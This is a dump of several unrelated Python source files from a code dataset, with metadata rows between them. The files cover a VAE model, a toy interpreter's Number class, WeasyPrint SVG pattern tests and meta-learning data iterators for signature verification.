Conv(4 * base, 4 * base, 3, stride=2, padding=1), # 4
nn.Conv2d(4 * base, 64 * base, 4),
nn.LeakyReLU()
)
# self.encoder_mu = nn.Linear(lf, lf)
# self.encoder_logvar = nn.Linear(lf, lf)
self.encoder_mu = nn.Conv2d(64 * base, lf, 1)
self.encoder_logvar = nn.Conv2d(64 * base, lf, 1)
self.decoder = nn.Sequential(
Conv(lf, 64 * base, 1),
ConvT(64 * base, 4 * base, 4),
Conv(4 * base, 4 * base, 3, padding=1),
ConvT(4 * base, 4 * base, 4, stride=2, padding=1),
Conv(4 * base, 4 * base, 5, padding=2),
ConvT(4 * base, 4 * base, 4, stride=2, padding=1),
Conv(4 * base, 4 * base, 5, padding=2),
ConvT(4 * base, 4 * base, 4, stride=2, padding=1),
Conv(4 * base, 4 * base, 5, padding=2),
ConvT(4 * base, 4 * base, 4, stride=2, padding=1),
Conv(4 * base, 2 * base, 5, padding=2),
ConvT(2 * base, 2 * base, 4, stride=2, padding=1),
Conv(2 * base, 2 * base, 5, padding=2),
ConvT(2 * base, 2 * base, 4, stride=2, padding=1),
Conv(2 * base, base, 5, padding=2),
ConvT(base, base, 4, stride=2, padding=1),
nn.Conv2d(base, 3, 3, padding=1),
nn.Tanh()
)
def encode(self, x):
x = self.encoder(x)
return self.encoder_mu(x), self.encoder_logvar(x)
def reparameterize(self, mu, logvar):
std = torch.exp(0.5 * logvar)
eps = torch.randn_like(std)
return mu + eps * std
def decode(self, z):
return self.decoder(z)
def forward(self, x):
mu, logvar = self.encode(x)
z = self.reparameterize(mu, logvar)
return self.decode(z), mu, logvar
class VAE_fm(nn.Module):
def __init__(self, n_layers=6, base=16, lf=128, n_channels=5):
super(VAE_fm, self).__init__()
self.encoder = nn.Sequential(
Conv(3, base, 3, stride=2, padding=1), # 256
Conv(base, 2 * base, 5, padding=2),
Conv(2 * base, 2 * base, 3, stride=2, padding=1), # 128
Conv(2 * base, 2 * base, 5, padding=2),
Conv(2 * base, 2 * base, 3, stride=2, padding=1), # 64
Conv(2 * base, 4 * base, 5, padding=2),
Conv(4 * base, 4 * base, 3, stride=2, padding=1), # 32
Conv(4 * base, 4 * base, 5, padding=2),
Conv(4 * base, 4 * base, 3, stride=2, padding=1), # 16
Conv(4 * base, 4 * base, 5, padding=2),
nn.Conv2d(4 * base, 64 * base, 8),
nn.LeakyReLU()
)
# self.encoder_mu = nn.Linear(lf, lf)
# self.encoder_logvar = nn.Linear(lf, lf)
self.encoder_mu = nn.Conv2d(64 * base, lf, 1)
self.encoder_logvar = nn.Conv2d(64 * base, lf, 1)
self.decoder = nn.Sequential(
Conv(lf, 64 * base, 1),
ConvT(64 * base, 4 * base, 8),
Conv(4 * base, 4 * base, 5, padding=2),
ConvT(4 * base, 4 * base, 4, stride=2, padding=1),
Conv(4 * base, 4 * base, 5, padding=2),
ConvT(4 * base, 4 * base, 4, stride=2, padding=1),
Conv(4 * base, 2 * base, 5, padding=2),
ConvT(2 * base, 2 * base, 4, stride=2, padding=1),
Conv(2 * base, 2 * base, 5, padding=2),
ConvT(2 * base, 2 * base, 4, stride=2, padding=1),
Conv(2 * base, base, 5, padding=2),
ConvT(base, base, 4, stride=2, padding=1),
nn.Conv2d(base, 3, 3, padding=1),
nn.Tanh()
)
def encode(self, x):
x = self.encoder(x)
return self.encoder_mu(x), self.encoder_logvar(x)
def reparameterize(self, mu, logvar):
std = torch.exp(0.5 * logvar)
eps = torch.randn_like(std)
return mu + eps * std
def decode(self, z):
return self.decoder(z)
def forward(self, x):
mu, logvar = self.encode(x)
z = self.reparameterize(mu, logvar)
return self.decode(z), mu, logvar | 34.380342 | 78 | 0.548539 | 1,153 | 8,045 | 3.767563 | 0.085863 | 0.062155 | 0.041436 | 0.086326 | 0.918048 | 0.899401 | 0.876151 | 0.801105 | 0.796271 | 0.79581 | 0 | 0.077938 | 0.303045 | 8,045 | 234 | 79 | 34.380342 | 0.696808 | 0.033188 | 0 | 0.708571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.131429 | false | 0 | 0.017143 | 0.034286 | 0.291429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
8e5af0d0d71a64d470f611bdaed587c2c6babb75 | 78 | py | Python | api/test/demo.py | yunfei07/vue-flask-in-action | 8695f9a252bb3e2136609f421e02a0d3f01c0e58 | [
"MIT"
] | null | null | null | api/test/demo.py | yunfei07/vue-flask-in-action | 8695f9a252bb3e2136609f421e02a0d3f01c0e58 | [
"MIT"
] | null | null | null | api/test/demo.py | yunfei07/vue-flask-in-action | 8695f9a252bb3e2136609f421e02a0d3f01c0e58 | [
"MIT"
] | null | null | null |
assert "{'code':'9999','content':'成功'}" == "{'code':'9999','content':'成功'}"
| 19.5 | 75 | 0.512821 | 9 | 78 | 4.444444 | 0.555556 | 0.4 | 0.75 | 0.85 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 0.076923 | 78 | 3 | 76 | 26 | 0.444444 | 0 | 0 | 0 | 0 | 0 | 0.789474 | 0.789474 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
8e631c4d8dad8f9a7b295574bc8482c3db7d6767 | 176 | py | Python | commands/genspider.py | maxachis/city-scrapers-pitt | 63150a522a512d35b64e4068e25169cf46875598 | [
"MIT"
] | 5 | 2020-03-26T05:22:20.000Z | 2021-04-22T12:28:56.000Z | commands/genspider.py | maxachis/city-scrapers-pitt | 63150a522a512d35b64e4068e25169cf46875598 | [
"MIT"
] | 109 | 2020-02-09T21:42:36.000Z | 2021-03-06T21:41:18.000Z | commands/genspider.py | maxachis/city-scrapers-pitt | 63150a522a512d35b64e4068e25169cf46875598 | [
"MIT"
] | 15 | 2020-05-29T22:43:34.000Z | 2021-02-20T02:59:44.000Z | """Import the "genspider" command from the city_scrapers_core project"""
import city_scrapers_core.commands.genspider as genspider
class Command(genspider.Command):
pass
| 25.142857 | 72 | 0.801136 | 23 | 176 | 5.956522 | 0.565217 | 0.233577 | 0.233577 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.119318 | 176 | 6 | 73 | 29.333333 | 0.883871 | 0.375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 8 |
8ec40048a51f8f5d5489979cc721de1803275bd0 | 4,028 | py | Python | src/number.py | kito0/zeroscript | 425b32be4bcc99a33c1c8a36d1d765de2de30419 | [
"CC0-1.0"
] | 2 | 2021-05-16T15:18:20.000Z | 2021-10-04T07:11:58.000Z | src/number.py | kito0/zeroscript | 425b32be4bcc99a33c1c8a36d1d765de2de30419 | [
"CC0-1.0"
] | null | null | null | src/number.py | kito0/zeroscript | 425b32be4bcc99a33c1c8a36d1d765de2de30419 | [
"CC0-1.0"
] | null | null | null | from errors import *
from context import *
from value import Value
class Number(Value):
def __init__(self, value):
super().__init__()
self.value = value
def add_to(self, other):
if isinstance(other, Number):
return Number(self.value + other.value).set_context(self.context), None
else:
return None, Value.illegal_operation(self, other)
def sub_by(self, other):
if isinstance(other, Number):
return Number(self.value - other.value).set_context(self.context), None
else:
return None, Value.illegal_operation(self, other)
def mul_by(self, other):
if isinstance(other, Number):
return Number(self.value * other.value).set_context(self.context), None
else:
return None, Value.illegal_operation(self, other)
def div_by(self, other):
if isinstance(other, Number):
if other.value == 0:
return None, RTError(
other.pos_start, other.pos_end, "division by zero", self.context
)
return Number(self.value / other.value).set_context(self.context), None
else:
return None, Value.illegal_operation(self, other)
def pow_by(self, other):
if isinstance(other, Number):
return Number(self.value ** other.value).set_context(self.context), None
def get_comparison_eq(self, other):
if isinstance(other, Number):
return (
Number(int(self.value == other.value)).set_context(self.context),
None,
)
else:
return None, Value.illegal_operation(self, other)
def get_comparison_ne(self, other):
if isinstance(other, Number):
return (
Number(int(self.value != other.value)).set_context(self.context),
None,
)
else:
return None, Value.illegal_operation(self, other)
def get_comparison_lt(self, other):
if isinstance(other, Number):
return Number(int(self.value < other.value)).set_context(self.context), None
else:
return None, Value.illegal_operation(self, other)
def get_comparison_gt(self, other):
if isinstance(other, Number):
return Number(int(self.value > other.value)).set_context(self.context), None
else:
return None, Value.illegal_operation(self, other)
def get_comparison_lte(self, other):
if isinstance(other, Number):
return (
Number(int(self.value <= other.value)).set_context(self.context),
None,
)
else:
return None, Value.illegal_operation(self, other)
def get_comparison_gte(self, other):
if isinstance(other, Number):
return (
Number(int(self.value >= other.value)).set_context(self.context),
None,
)
else:
return None, Value.illegal_operation(self, other)
def and_by(self, other):
if isinstance(other, Number):
return (
Number(int(self.value and other.value)).set_context(self.context),
None,
)
else:
return None, Value.illegal_operation(self, other)
def or_by(self, other):
if isinstance(other, Number):
return (
Number(int(self.value or other.value)).set_context(self.context),
None,
)
else:
return None, Value.illegal_operation(self, other)
def notted(self):
return Number(1 if self.value == 0 else 0).set_context(self.context), None
def copy(self):
copy = Number(self.value)
copy.set_pos(self.pos_start, self.pos_end)
copy.set_context(self.context)
return copy
def is_true(self):
return self.value != 0
def __repr__(self):
return str(self.value)
| 32.747967 | 88 | 0.580933 | 467 | 4,028 | 4.873662 | 0.111349 | 0.098858 | 0.092267 | 0.138401 | 0.808436 | 0.808436 | 0.794815 | 0.779877 | 0.779877 | 0.779877 | 0 | 0.001814 | 0.315789 | 4,028 | 122 | 89 | 33.016393 | 0.82402 | 0 | 0 | 0.475728 | 0 | 0 | 0.003972 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.174757 | false | 0 | 0.029126 | 0.029126 | 0.504854 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 7 |
7999efbf93909b8f6af3550d8d8c0b86f2d0e8d3 | 687 | py | Python | tests/config_path_test.py | xaled/easilyb | cdb5f738205f700b37e03c50d04061a2d1e730cc | [
"MIT"
] | null | null | null | tests/config_path_test.py | xaled/easilyb | cdb5f738205f700b37e03c50d04061a2d1e730cc | [
"MIT"
] | null | null | null | tests/config_path_test.py | xaled/easilyb | cdb5f738205f700b37e03c50d04061a2d1e730cc | [
"MIT"
] | null | null | null | from easilyb.config import get_config_path
print(get_config_path())
print(get_config_path(appname='testapp'))
print(get_config_path(appname='testapp', appauthor='xaled'))
print(get_config_path(appname='testapp', dirpath='/etc/'))
print(get_config_path(appname='testapp', dirpath='/etc/xaled'))
print(get_config_path(appname='testapp', dirpath='/etc/xaled', user_config=True))
print(get_config_path(appname='testapp', dirpath='/etc/xaled', app_root_config=True))
print(get_config_path(appname='testapp', user_config=True, app_root_config=True))
print(get_config_path(appname='testapp', user_config=True, system_config=True))
print(get_config_path(appname='testapp', system_config=True))
| 52.846154 | 85 | 0.800582 | 101 | 687 | 5.138614 | 0.178218 | 0.190751 | 0.27553 | 0.346821 | 0.888247 | 0.888247 | 0.799615 | 0.705202 | 0.60501 | 0.242775 | 0 | 0 | 0.039301 | 687 | 12 | 86 | 57.25 | 0.786364 | 0 | 0 | 0 | 0 | 0 | 0.149927 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.090909 | 0 | 0.090909 | 0.909091 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 8 |
8db6e61e76190179b35070bedc972ca9068e11b6 | 4,038 | py | Python | tests/draw/svg/test_patterns.py | rianmcguire/WeasyPrint | 7e400663236d16121e14cf3183ce53828d056092 | [
"BSD-3-Clause"
] | 4,512 | 2015-01-02T16:40:59.000Z | 2022-03-31T17:26:28.000Z | tests/draw/svg/test_patterns.py | rianmcguire/WeasyPrint | 7e400663236d16121e14cf3183ce53828d056092 | [
"BSD-3-Clause"
] | 1,420 | 2015-01-07T21:17:01.000Z | 2022-03-31T10:23:45.000Z | tests/draw/svg/test_patterns.py | rianmcguire/WeasyPrint | 7e400663236d16121e14cf3183ce53828d056092 | [
"BSD-3-Clause"
] | 640 | 2015-01-30T18:07:09.000Z | 2022-03-24T20:17:42.000Z | """
weasyprint.tests.test_draw.svg.test_patterns
------------------------------------------
Test how SVG simple patterns are drawn.
"""
from ...testing_utils import assert_no_logs
from .. import assert_pixels
@assert_no_logs
def test_pattern():
assert_pixels('pattern', 8, 8, '''
BBrrBBrr
BBrrBBrr
rrBBrrBB
rrBBrrBB
BBrrBBrr
BBrrBBrr
rrBBrrBB
rrBBrrBB
''', '''
<style>
@page { size: 8px }
svg { display: block }
</style>
<svg width="8px" height="8px" xmlns="http://www.w3.org/2000/svg">
<defs>
<pattern id="pat" x="0" y="0" width="4" height="4"
patternUnits="userSpaceOnUse"
patternContentUnits="userSpaceOnUse">
<rect x="0" y="0" width="2" height="2" fill="blue" />
<rect x="0" y="2" width="2" height="2" fill="red" />
<rect x="2" y="0" width="2" height="2" fill="red" />
<rect x="2" y="2" width="2" height="2" fill="blue" />
</pattern>
</defs>
<rect x="0" y="0" width="8" height="8" fill="url(#pat)" />
</svg>
''')
@assert_no_logs
def test_pattern_2():
assert_pixels('pattern_2', 8, 8, '''
BBrrBBrr
BBrrBBrr
rrBBrrBB
rrBBrrBB
BBrrBBrr
BBrrBBrr
rrBBrrBB
rrBBrrBB
''', '''
<style>
@page { size: 8px }
svg { display: block }
</style>
<svg width="8px" height="8px" xmlns="http://www.w3.org/2000/svg">
<defs>
<pattern id="pat" x="0" y="0" width="50%" height="50%"
patternUnits="objectBoundingBox"
patternContentUnits="userSpaceOnUse">
<rect x="0" y="0" width="2" height="2" fill="blue" />
<rect x="0" y="2" width="2" height="2" fill="red" />
<rect x="2" y="0" width="2" height="2" fill="red" />
<rect x="2" y="2" width="2" height="2" fill="blue" />
</pattern>
</defs>
<rect x="0" y="0" width="8" height="8" fill="url(#pat)" />
</svg>
''')
@assert_no_logs
def test_pattern_3():
assert_pixels('pattern_3', 8, 8, '''
BBrrBBrr
BBrrBBrr
rrBBrrBB
rrBBrrBB
BBrrBBrr
BBrrBBrr
rrBBrrBB
rrBBrrBB
''', '''
<style>
@page { size: 8px }
svg { display: block }
</style>
<svg width="8px" height="8px" xmlns="http://www.w3.org/2000/svg">
<defs>
<pattern id="pat" x="0" y="0" width="4" height="4"
patternUnits="userSpaceOnUse"
patternContentUnits="userSpaceOnUse">
<rect x="0" y="0" width="2" height="2" fill="blue" />
<rect x="0" y="2" width="2" height="2" fill="red" />
<rect x="2" y="0" width="2" height="2" fill="red" />
<rect x="2" y="2" width="2" height="2" fill="blue" />
</pattern>
</defs>
<rect x="0" y="0" width="8" height="8" fill="url(#pat)" />
</svg>
''')
@assert_no_logs
def test_pattern_4():
assert_pixels('pattern_4', 8, 8, '''
BBrrBBrr
BBrrBBrr
rrBBrrBB
rrBBrrBB
BBrrBBrr
BBrrBBrr
rrBBrrBB
rrBBrrBB
''', '''
<style>
@page { size: 8px }
svg { display: block }
</style>
<svg width="8px" height="8px" xmlns="http://www.w3.org/2000/svg">
<defs>
<pattern id="pat" x="0" y="0" width="4" height="4"
patternUnits="userSpaceOnUse"
patternContentUnits="objectBoundingBox">
<rect x="0" y="0" width="50%" height="50%" fill="blue" />
<rect x="0" y="50%" width="50%" height="50%" fill="red" />
<rect x="50%" y="0" width="50%" height="50%" fill="red" />
<rect x="50%" y="50%" width="50%" height="50%" fill="blue" />
</pattern>
</defs>
<rect x="0" y="0" width="8" height="8" fill="url(#pat)" />
</svg>
''')
| 29.05036 | 73 | 0.482417 | 487 | 4,038 | 3.942505 | 0.11499 | 0.052083 | 0.025 | 0.025 | 0.867708 | 0.867708 | 0.846875 | 0.833854 | 0.81875 | 0.81875 | 0 | 0.056851 | 0.320456 | 4,038 | 138 | 74 | 29.26087 | 0.642857 | 0.031699 | 0 | 0.860656 | 0 | 0.229508 | 0.894832 | 0.069427 | 0 | 0 | 0 | 0 | 0.081967 | 1 | 0.032787 | true | 0 | 0.016393 | 0 | 0.04918 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
8ddb62c759221491a3eb7ead75e6213e4f3baac0 | 20,092 | py | Python | sigver/metalearning/data.py | huuquan1994/sigver | 5c92e12f55f5ebc78658e618d97b4f4d0b566db9 | [
"BSD-3-Clause"
] | 1 | 2019-04-27T13:03:29.000Z | 2019-04-27T13:03:29.000Z | sigver/metalearning/data.py | huuquan1994/sigver | 5c92e12f55f5ebc78658e618d97b4f4d0b566db9 | [
"BSD-3-Clause"
] | null | null | null | sigver/metalearning/data.py | huuquan1994/sigver | 5c92e12f55f5ebc78658e618d97b4f4d0b566db9 | [
"BSD-3-Clause"
] | 1 | 2019-04-21T07:12:37.000Z | 2019-04-21T07:12:37.000Z | import os
import numpy as np
from functools import partial
from sigver.datasets import gpds
from sigver.datasets.util import process_dataset
from sigver.datasets.toremove import center_crop, center_crop_multiple, random_crop, random_crop_multiple
import math
import warnings
def load_all_data(processed_path, original_path, img_size):
if not os.path.exists(processed_path):
ds = gpds.GPDSDataset(original_path)
x, y, yforg, usermapping, filenames = process_dataset(ds, img_size, subset=None, load_forgeries=True)
np.savez(processed_path, x=x, y=y, yforg=yforg, usermapping=usermapping, filenames=filenames)
else:
data = np.load(processed_path)
x, y, yforg = data['x'], data['y'], data['yforg']
usermapping, filenames = data['usermapping'], data['filenames']
return x, y, yforg, usermapping, filenames
class RFDataIterator:
""" Data iterator for Meta-learning using a two-class formulation with random forgeries
data: Dataset (x, y) for all users, where
x is a 4D tensor (N x C x H x W),
y is a vector (N) - the user that wrote the signature
subset: list of users that should be included in this iterator
num_gen: number of genuine signatures from the user available for training
num_rf: number of random forgeries available for training
num_test: number of signatures (genuine/rf) for test
rng: Random number generator state
"""
def __init__(self, data, subset, num_gen, num_rf, num_test, input_shape, batch_size, test=False, rng=np.random.RandomState()):
self.batch_size = batch_size
self.num_gen = num_gen
self.num_test = num_test
self.num_rf = num_rf
self.rng = rng
self.input_shape = input_shape
self.test = test
if test:
self.crop_fn = partial(center_crop, shape=input_shape)
self.crop_multiple_fn = partial(center_crop_multiple, shape=input_shape)
else:
self.crop_fn = partial(random_crop, shape=input_shape)
self.crop_multiple_fn = partial(random_crop_multiple, shape=input_shape)
x, y, yforg = data
to_include = np.isin(y, subset)
to_include = np.logical_and(to_include, (yforg == False))
self.x = x[to_include]
self.y = y[to_include]
self.users = np.unique(self.y)
def __iter__(self):
shuffled_users = self.users.copy()
self.rng.shuffle(shuffled_users)
for i in range(0, len(shuffled_users), self.batch_size):
batch_train_x = []
batch_train_y = []
batch_test_x = []
batch_test_y = []
for user in shuffled_users[i:i+self.batch_size]:
# Genuine signatures: class 1
user_indexes = np.flatnonzero(self.y == user)
self.rng.shuffle(user_indexes)
user_signatures = self.x[user_indexes]
train_x = [self.crop_multiple_fn(user_signatures[0:self.num_gen])]
test_x = [self.crop_multiple_fn(user_signatures[self.num_gen:self.num_gen + self.num_test])]
train_y = [np.ones(self.num_gen, dtype=int)]
test_y = [np.ones(self.num_test, dtype=int)]
# Random forgeries: class 0
other_users = list(set(self.users).difference([user]))
chosen_users = self.rng.choice(other_users, self.num_rf + self.num_test, replace=False)
train_users = chosen_users[0:self.num_rf]
test_users = chosen_users[self.num_rf:]
for other in train_users:
other_indexes = np.flatnonzero(self.y == other)
other_idx = self.rng.choice(other_indexes, 1)[0]
train_x.append([self.crop_fn(self.x[other_idx])])
train_y.append([0])
for other in test_users:
other_indexes = np.flatnonzero(self.y == other)
other_idx = self.rng.choice(other_indexes, 1)[0]
test_x.append([self.crop_fn(self.x[other_idx])])
test_y.append([0])
batch_train_x.append(np.concatenate(train_x).astype(np.float32))
batch_train_y.append(np.concatenate(train_y)[:, np.newaxis])
batch_test_x.append(np.concatenate(test_x).astype(np.float32))
batch_test_y.append(np.concatenate(test_y)[:, np.newaxis])
batch_train_x = np.stack(batch_train_x)
batch_train_y = np.stack(batch_train_y)
batch_test_x = np.stack(batch_test_x)
batch_test_y = np.stack(batch_test_y)
yield (batch_train_x, batch_train_y), (batch_test_x, batch_test_y)
class SKDataIterator:
""" Data iterator for Meta-learning using a two-class formulation with random forgeries, but testing with Skilled Forgeries
data: Dataset (x, y) for all users, where
x is a 4D tensor (N x C x H x W),
y is a vector (N) - the user that wrote the signature
subset: list of users that should be included in this iterator
num_gen: number of genuine signatures from the user available for training
num_rf: number of random forgeries available for training
num_test: number of signatures (genuine/skilled) for test
rng: Random number generator state
"""
def __init__(self, data, subset, num_gen, num_rf, num_test, input_shape, batch_size, test=False, rng=np.random.RandomState()):
self.batch_size = batch_size
self.num_gen = num_gen
self.num_test = num_test
self.num_rf = num_rf
self.rng = rng
self.input_shape = input_shape
self.test = test
if test:
self.crop_fn = partial(center_crop, shape=input_shape)
self.crop_multiple_fn = partial(center_crop_multiple, shape=input_shape)
else:
self.crop_fn = partial(random_crop, shape=input_shape)
self.crop_multiple_fn = partial(random_crop_multiple, shape=input_shape)
x, y, yforg = data
to_include = np.isin(y, subset)
self.x = x[to_include]
self.y = y[to_include]
self.yforg = yforg[to_include]
self.users = np.unique(self.y)
def __len__(self):
return int(math.ceil(len(self.users) / self.batch_size))
def __iter__(self):
shuffled_users = self.users.copy()
self.rng.shuffle(shuffled_users)
for i in range(0, len(shuffled_users), self.batch_size):
batch_train_x = []
batch_train_y = []
batch_test_x = []
batch_test_y = []
for user in shuffled_users[i:i+self.batch_size]:
# Genuine signatures: class 1
genuine_indexes = np.flatnonzero((self.y == user) & (self.yforg == False))
self.rng.shuffle(genuine_indexes)
user_signatures = self.x[genuine_indexes]
train_x = [self.crop_multiple_fn(user_signatures[0:self.num_gen])]
test_x = [self.crop_multiple_fn(user_signatures[self.num_gen:self.num_gen + self.num_test])]
train_y = [np.ones(self.num_gen, dtype=int)]
test_y = [np.ones(self.num_test, dtype=int)]
# Random forgeries: class 0
other_users = list(set(self.users).difference([user]))
train_users = self.rng.choice(other_users, self.num_rf, replace=False)
for other in train_users:
other_indexes = np.flatnonzero((self.y == other) & (self.yforg == False))
other_idx = self.rng.choice(other_indexes, 1)[0]
train_x.append([self.crop_fn(self.x[other_idx])])
train_y.append([0])
skilled_indexes = np.flatnonzero((self.y == user) & (self.yforg == True))
self.rng.shuffle(skilled_indexes)
skilled_forgeries = self.x[skilled_indexes]
test_x.append(self.crop_multiple_fn(skilled_forgeries[0:self.num_test]))
test_y.append(np.zeros(self.num_test, dtype=int))
batch_train_x.append(np.concatenate(train_x).astype(np.float32))
batch_train_y.append(np.concatenate(train_y)[:, np.newaxis])
batch_test_x.append(np.concatenate(test_x).astype(np.float32))
batch_test_y.append(np.concatenate(test_y)[:, np.newaxis])
batch_train_x = np.stack(batch_train_x)
batch_train_y = np.stack(batch_train_y)
batch_test_x = np.stack(batch_test_x)
batch_test_y = np.stack(batch_test_y)
yield (batch_train_x, batch_train_y), (batch_test_x, batch_test_y)
class MAMLDataIterator:
""" Data iterator for Meta-learning
data: Dataset (x, y) for all users, where
x is a 4D tensor (N x C x H x W),
y is a vector (N) - the user that wrote the signature
subset: list of users that should be included in this iterator
num_gen: number of genuine signatures from the user available for training
num_rf: number of random forgeries available for training
num_test: number of signatures (genuine/rf) for test
rng: Random number generator state
"""
def __init__(self, data, subset, num_gen_train, num_rf_train,
num_gen_test, num_rf_test, num_sk_test, input_shape, batch_size, test=False, rng=np.random.RandomState()):
self.batch_size = batch_size
self.num_gen = num_gen_train
self.num_rf_train = num_rf_train
self.num_sk_test = num_sk_test
self.num_rf_test = num_rf_test
self.num_gen_test = num_gen_test
self.rng = rng
self.input_shape = input_shape
self.test = test
if test:
self.crop_fn = partial(center_crop, shape=input_shape)
self.crop_multiple_fn = partial(center_crop_multiple, shape=input_shape)
else:
self.crop_fn = partial(random_crop, shape=input_shape)
self.crop_multiple_fn = partial(random_crop_multiple, shape=input_shape)
x, y, yforg = data
to_include = np.isin(y, subset)
self.x = x[to_include]
self.y = y[to_include]
self.yforg = yforg[to_include]
self.users = np.unique(self.y)
def __iter__(self):
shuffled_users = self.users.copy()
self.rng.shuffle(shuffled_users)
for i in range(0, len(shuffled_users), self.batch_size):
batch_train_x = []
batch_train_y = []
batch_test_x = []
batch_test_y = []
batch_test_yforg = []
for user in shuffled_users[i:i+self.batch_size]:
# Genuine signatures: class 1
genuine_indexes = np.flatnonzero((self.y == user) & (self.yforg == False))
self.rng.shuffle(genuine_indexes)
user_signatures = self.x[genuine_indexes]
train_x = [self.crop_multiple_fn(user_signatures[0:self.num_gen])]
test_x = [self.crop_multiple_fn(user_signatures[self.num_gen:self.num_gen + self.num_gen_test])]
train_y = [np.ones(self.num_gen, dtype=int)]
test_y = [np.ones(self.num_gen_test, dtype=int)]
test_yforg = [np.zeros(self.num_gen_test, dtype=int)]
# Random forgeries: class 0
other_users = list(set(self.users).difference([user]))
chosen_users = self.rng.choice(other_users, self.num_rf_train + self.num_rf_test, replace=False)
train_users = chosen_users[0:self.num_rf_train]
test_users = chosen_users[self.num_rf_train:]
for other in train_users:
other_indexes = np.flatnonzero(self.y == other)
other_idx = self.rng.choice(other_indexes, 1)[0]
train_x.append([self.crop_fn(self.x[other_idx])])
train_y.append([0])
for other in test_users:
other_indexes = np.flatnonzero(self.y == other)
other_idx = self.rng.choice(other_indexes, 1)[0]
test_x.append([self.crop_fn(self.x[other_idx])])
test_y.append([0])
test_yforg.append([0])
if self.num_sk_test > 0:
skilled_indexes = np.flatnonzero((self.y == user) & (self.yforg == True))
self.rng.shuffle(skilled_indexes)
skilled_forgeries = self.x[skilled_indexes]
test_x.append(self.crop_multiple_fn(skilled_forgeries[0:self.num_sk_test]))
test_y.append(np.zeros(self.num_sk_test, dtype=int))
test_yforg.append(np.ones(self.num_sk_test, dtype=int))
batch_train_x.append(np.concatenate(train_x).astype(np.float32))
batch_train_y.append(np.concatenate(train_y)[:, np.newaxis])
batch_test_x.append(np.concatenate(test_x).astype(np.float32))
batch_test_y.append(np.concatenate(test_y)[:, np.newaxis])
batch_test_yforg.append(np.concatenate(test_yforg)[:, np.newaxis])
batch_train_x = np.stack(batch_train_x)
batch_train_y = np.stack(batch_train_y)
batch_test_x = np.stack(batch_test_x)
batch_test_y = np.stack(batch_test_y)
batch_test_yforg = np.stack(batch_test_yforg)
yield (batch_train_x, batch_train_y), (batch_test_x, batch_test_y, batch_test_yforg)
def generate_random_indices(n, train_fraction):
indices = np.arange(n)
np.random.shuffle(indices)
first_test_index = int(train_fraction * n)
train_indices = indices[0:first_test_index]
test_indices = indices[first_test_index:]
return train_indices, test_indices
class DataIterator:
def __init__(self, data, input_shape, batch_size, test=False, rng=np.random.RandomState()):
self.batch_size = batch_size
self.rng = rng
self.input_shape = input_shape
self.test = test
if test:
self.crop_multiple_fn = partial(center_crop_multiple, shape=input_shape)
else:
self.crop_multiple_fn = partial(random_crop_multiple, shape=input_shape)
self.x, self.y, self.yforg = data
def __iter__(self):
random_idx = list(range(len(self.x)))
self.rng.shuffle(random_idx)
for i in range(0, len(self.x), self.batch_size):
idx = random_idx[i: i + self.batch_size]
batch_x = self.x[idx]
batch_x = self.crop_multiple_fn(batch_x)
batch_y = self.y[idx]
batch_yforg = self.yforg[idx]
yield batch_x.astype(np.float32), batch_y, batch_yforg
from torch.utils.data import Dataset
class MAMLDataSet(Dataset):
""" Data iterator for Meta-learning
data: Dataset (x, y) for all users, where
x is a 4D tensor (N x C x H x W),
y is a vector (N) - the user that wrote the signature
subset: list of users that should be included in this iterator
num_gen: number of genuine signatures from the user available for training
num_rf: number of random forgeries available for training
num_test: number of signatures (genuine/rf) for test
rng: Random number generator state
"""
def __init__(self, data, subset, num_gen_train, num_rf_train,
num_gen_test, num_rf_test, num_sk_test, input_shape, sk_subset=None,
test=False, rng=np.random.RandomState()):
self.num_gen = num_gen_train
self.num_rf_train = num_rf_train
self.num_sk_test = num_sk_test
self.num_rf_test = num_rf_test
self.num_gen_test = num_gen_test
self.rng = rng
self.input_shape = input_shape
self.test = test
if test:
self.crop_fn = partial(center_crop, shape=input_shape)
self.crop_multiple_fn = partial(center_crop_multiple, shape=input_shape)
else:
self.crop_fn = partial(random_crop, shape=input_shape)
